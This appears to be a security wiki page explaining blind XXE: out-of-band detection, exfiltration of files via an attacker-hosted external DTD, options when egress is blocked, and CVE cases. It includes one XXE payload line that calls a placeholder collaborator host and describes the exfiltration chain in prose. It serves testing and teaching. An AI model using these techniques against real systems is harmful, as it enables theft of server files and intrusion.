# Blind XXE
> XXE where the application never reflects entity values, so detection and exfiltration run out-of-band through XML parameter entities and an attacker-hosted external DTD.
## How it works
A blind XXE exists when the parser resolves external entities but the resolved value never appears in any response — non-reflective endpoints, silently caught parse errors, or asynchronous/background processing of the XML ([[raw/instatunnel.my/blind-xxe-exfiltrating-data-out-of-band-in-2025-2821|Blind XXE: Exfiltrating Data OOB in 2025]]). Two channels remain: **out-of-band network interactions** and **parser error messages** (the latter is [[Error-Based XXE]]).
The core tool is the **XML parameter entity** (`%name;`), usable only inside the DTD. Unlike general entities, parameter entities can declare further entities, which is what lets you chain "read a file" into "send the file somewhere." A hard constraint drives the design: a parameter entity cannot be referenced from within another entity's value in the *internal* DTD subset, so the chaining logic has to live in an **external** DTD, which carries no such restriction ([[raw/portswigger.net/what-is-a-blind-xxe-attack-portswigger-2825|What is a Blind XXE Attack?]]).
## Detection
Trigger an out-of-band interaction to a host you control — the same primitive as [[XXE to SSRF and Cloud Metadata]] — and watch for the callback on Burp Collaborator / Interactsh ([[Out-of-Band Detection]]). If general entities are filtered or the parser is partly hardened, use a parameter entity instead:
```
<!DOCTYPE r [ <!ENTITY % x SYSTEM "http://COLLAB/"> %x; ]>
```
Distinguish **DNS-only** from **full HTTP**: a DNS lookup with no connection may mean a firewall blocked egress, or that a validator/resolver only resolved the name — it is the weak end of the channel, not proof of a complete read path ([[raw/dedsecops.com/xxe-as-a-dast-finding-in-band-error-based-and-out-of-band-confirmation-14210|XXE as a DAST Finding]], [[raw/honoki.net/from-blind-xxe-to-root-level-file-read-access-honoki-461|Blind XXE to Root-Level File Read]]).
## Exfiltration via external DTD
The standard pattern hosts a malicious DTD that reads a file into a parameter entity, then builds a second entity whose evaluation requests an attacker URL with the file contents embedded. The target document just loads the external DTD and triggers the chain ([[raw/portswigger.net/blind-xxe-lab-exfiltrate-data-using-malicious-external-dtd-3139|Blind XXE Lab: Malicious External DTD]], [[raw/yusufalmahmeed.com/exploiting-blind-xxe-to-exfiltrate-data-via-a-malicious-external-dtd-12456|Exfiltrate via Malicious External DTD]]).
Practical constraints:
- **Newlines / special characters break HTTP exfil.** Some parsers validate URL characters, so a file with newlines (like `/etc/passwd`) won't travel in an HTTP entity. Workarounds: **base64** the data via `php://filter` where available; or switch to **FTP**, which tolerates more and whose "password" field a mock FTP server (`xxe-ftp-server`) records — also leaking Java version and internal IPs ([[raw/shreyapohekar.com/blind-xxe-attacks-out-of-band-interaction-techniques-to-exfiltrate-dat-4191|Blind XXE OOB Techniques]], [[raw/gosecure.github.io/advanced-xxe-exploitation-453|Advanced XXE Exploitation]]).
- **Gopher / FTP for arbitrary TCP** — the Osipov–Yunusov construction builds a URL from other entities, originally Gopher, later FTP (Gopher is deprecated, only old Java). This reaches raw protocols like Redis ([[raw/gosecure.github.io/advanced-xxe-exploitation-453|Advanced XXE Exploitation]]).
## Egress blocked
If the server reaches no external host, the OOB channel is dead but XXE isn't:
- **Error-based** parser-exception leakage, including the **local-DTD** technique (redefine a parameter entity inside a DTD already on disk) — see [[Error-Based XXE]].
- **Internal pivot:** route through an internal app that *can* egress. Honoki proxied OOB fetches through an internal Confluence `makeRequest` gadget to defeat the parsing server's firewall, then elevated to read-as-root directory listings via Java's URL-scheme handling ([[raw/honoki.net/from-blind-xxe-to-root-level-file-read-access-honoki-461|Blind XXE to Root-Level File Read]]).
- **Blind port scanning:** time or error-differentiate internal ports via SSRF-style probes ([[raw/blog.zsec.uk/hunting-in-the-dark-blind-xxe-442|Hunting in the Dark - Blind XXE]]).
## Notable cases
- **ManageEngine ADAudit Plus (CVE-2022-28219)** — blind XXE in `/api/agent/tabs/agentData` plants a `.jar` on disk and enumerates its unguessable path via FTP directory listing, chained to deserialization RCE ([[raw/rapid7.com/rapid7-analysis-cve-2022-28219-9358|Rapid7 Analysis]]).
- **Palo Alto PAN-OS (CVE-2024-5919)** — authenticated blind XXE exfiltrating files from firewalls to attacker servers ([[raw/instatunnel.my/blind-xxe-exfiltrating-data-out-of-band-in-2025-2821|Blind XXE in 2025]]).
- **Sam Curry** traced replayed home-network traffic to a compromised modem — the investigation began while he ran an AWS box to receive blind-XXE OOB traffic ([[raw/samcurry.net/hacking-millions-of-modems-and-investigating-who-hacked-my-modem-11409|Hacking Millions of Modems]]).
## Related
- [[XML External Entity Injection]]
- [[Error-Based XXE]]
- [[XXE to SSRF and Cloud Metadata]]
- [[Out-of-Band Detection]]
- [[XXE Parser Defaults and Hardening]]
## Sources
- [[raw/portswigger.net/what-is-a-blind-xxe-attack-portswigger-2825|What is a Blind XXE Attack? | PortSwigger]]
- [[raw/portswigger.net/blind-xxe-lab-exfiltrate-data-using-malicious-external-dtd-3139|Blind XXE Lab: Malicious External DTD]]
- [[raw/instatunnel.my/blind-xxe-exfiltrating-data-out-of-band-in-2025-2821|Blind XXE: Exfiltrating Data OOB in 2025]]
- [[raw/shreyapohekar.com/blind-xxe-attacks-out-of-band-interaction-techniques-to-exfiltrate-dat-4191|Blind XXE OOB Techniques]]
- [[raw/yusufalmahmeed.com/exploiting-blind-xxe-to-exfiltrate-data-via-a-malicious-external-dtd-12456|Exfiltrate via Malicious External DTD]]
- [[raw/honoki.net/from-blind-xxe-to-root-level-file-read-access-honoki-461|From Blind XXE to Root-Level File Read]]
- [[raw/blog.zsec.uk/hunting-in-the-dark-blind-xxe-442|Hunting in the Dark - Blind XXE]]
- [[raw/gosecure.github.io/advanced-xxe-exploitation-453|Advanced XXE Exploitation (GoSecure)]]
- [[raw/rapid7.com/rapid7-analysis-cve-2022-28219-9358|Rapid7 Analysis: CVE-2022-28219]]
- [[raw/samcurry.net/hacking-millions-of-modems-and-investigating-who-hacked-my-modem-11409|Hacking Millions of Modems]]
- [[raw/dedsecops.com/xxe-as-a-dast-finding-in-band-error-based-and-out-of-band-confirmation-14210|XXE as a DAST Finding]]